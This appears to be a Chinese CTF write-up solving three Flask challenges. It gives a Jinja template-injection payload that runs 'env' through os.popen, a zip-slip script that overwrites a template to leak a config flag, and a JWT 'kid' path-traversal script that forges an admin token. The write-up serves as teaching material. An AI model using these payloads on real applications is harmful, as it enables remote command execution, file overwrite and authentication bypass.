Space Notes
看起来只是一个普通 Flask 小应用。
但 Fen 留下了一句很奇怪的话:
“如果模板会说话,那它也许会泄露秘密。”
登陆后 /preview 有预览功能,和渲染相关,常规打 Jinja 模板注入:
1
| tpl={{namespace.__init__.__globals__.os.popen('env').read()}}
|

Zero Upload
ZeroG 空间站上线了一个照片墙系统,成员可以上传轨道照片,也可以上传自定义主题包来改变照片卡片样式
“压缩包里的路径,也许不只通向解压目录。”
请利用主题包上传功能读取动态 flag。
题目提供关键源码:
1 2 3 4 5 6 7 8 9 10 11 12
| with zipfile.ZipFile(zip_path, "r") as zf: for member in zf.infolist(): target_path = extract_root / member.filename
if member.is_dir(): target_path.mkdir(parents=True, exist_ok=True) continue
target_path.parent.mkdir(parents=True, exist_ok=True)
with zf.open(member, "r") as src, open(target_path, "wb") as dst: dst.write(src.read())
|
/theme/upload 路由下的上传主题功能中没有对压缩包内文件进行文件名检测,可以通过 ../../ 的文件名实现路径穿越,而在 gallery.html 中
1 2 3
| {% for photo in photos %} {% include "theme/card.html" %} {% endfor %}
|
将 theme/card.html 模板的内容插入到当前位置并渲染,因此我们可以通过将压缩包内的文件命名为 ../../templates/theme/card.html 对其进行文件覆盖
因为应用在中 app.config["ZEROG_FLAG"] = FLAG 将动态 flag 放入了 Flask config 中,那么我们的模板就能设置为:
1
| {{ config['ZEROG_FLAG'] }}
|
从而读取 config 中 ZEROG_FLAG 的值,也就是 flag,恶意 zip 文件生成脚本:
1 2 3 4 5 6 7 8 9 10
| import zipfile
payload = """<div class="photo-card"> <h2>ZeroG Theme Loaded</h2> <p>{{ config['ZEROG_FLAG'] }}</p> </div> """
with zipfile.ZipFile("evil_theme.zip", "w", zipfile.ZIP_DEFLATED) as z: z.writestr("../../templates/theme/card.html", payload)
|
在 /theme/upload 上传生成的恶意 zip 文件后访问 /gallery 触发 Jinja 模板渲染

Orbit API
ZeroG 空间站提供了一个轻量级轨道数据 API。
普通成员登录后只能查看自己的身份信息;
管理员可以访问内部轨道控制接口并读取动态 flag。
开发人员说:
“JWT 都签名了,应该很安全。”
Fen 看完接口文档后留下了一句话:
“信任 header 里的 kid,就像信任未经校验的轨道参数。”
请利用 Orbit API 获取管理员权限并读取 flag。
密钥获取:
1 2 3 4 5 6 7
| def read_key_by_kid(kid: str) -> bytes: _ _key_path = KEY_DIR / kid
if not key_path.exists() or not key_path.is_file(): raise FileNotFoundError("key not found")
return key_path.read_bytes()
|
token 验证:
1 2 3 4 5 6 7 8 9
| def verify_token(token: str) -> dict: try: header = jwt.get_unverified_header(token) except Exception: raise ValueError("invalid jwt header")
kid = header.get("kid", DEFAULT_KID)
key = read_key_by_kid(kid)
|
服务器相信客户端传来的 JWT 中的 kid 值,然后通过 KEY_DIR/kid 拼路径,没有过滤 ../ 存在目录穿越漏洞,当攻击者在 header 把 kid 改成 ../static/mission.txt 时,服务端读取的文件是:
1
| /app/keys/../static/mission.txt => /app/static/mission.txt
|
mission.txt 中的内容就是 JWT 的加密密钥了,也就是 b”ZeroG-Orbit-API-Public-Calibration-Key\n”(注意有换行符,拿到密钥就能伪造 admin 的 JWT 了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71
| _ _
import time import requests import jwt
BASE_URL = "http://127.0.0.1:5000"
def get_public_key_material(): r = requests.get(BASE_URL + "/static/mission.txt", timeout=10) r.raise_for_status() return r.content _
def forge_admin_token(key_material: bytes) -> str: now = int(time.time())
payload = { "username": "admin", "role": "admin", "iat": now, "exp": now + 3600, }
headers = { "typ": "JWT", "alg": "HS256", "kid": "../static/mission.txt", }
token = jwt.encode( payload, key_material, algorithm="HS256", headers=headers, )
return token
def get_flag(token: str): r = requests.get( BASE_URL + "/api/admin/flag", headers={ "Authorization": f"Bearer {token}" }, timeout=10, )
print("[+] status:", r.status_code) print("[+] response:", r.text)
r.raise_for_status()
return r.json()["flag"]
def main(): print("[*] Fetching public mission file...") key_material = get_public_key_material() print("[+] key material:", repr(key_material))
print("[*] Forging admin JWT...") token = forge_admin_token(key_material) print("[+] token:", token)
print("[*] Requesting admin flag...") flag = get_flag(token)
print("[+] FLAG:", flag)
if __name__ == "__main__": main()
|
携带管理员 JWT 访问 /api/admin/flag 即可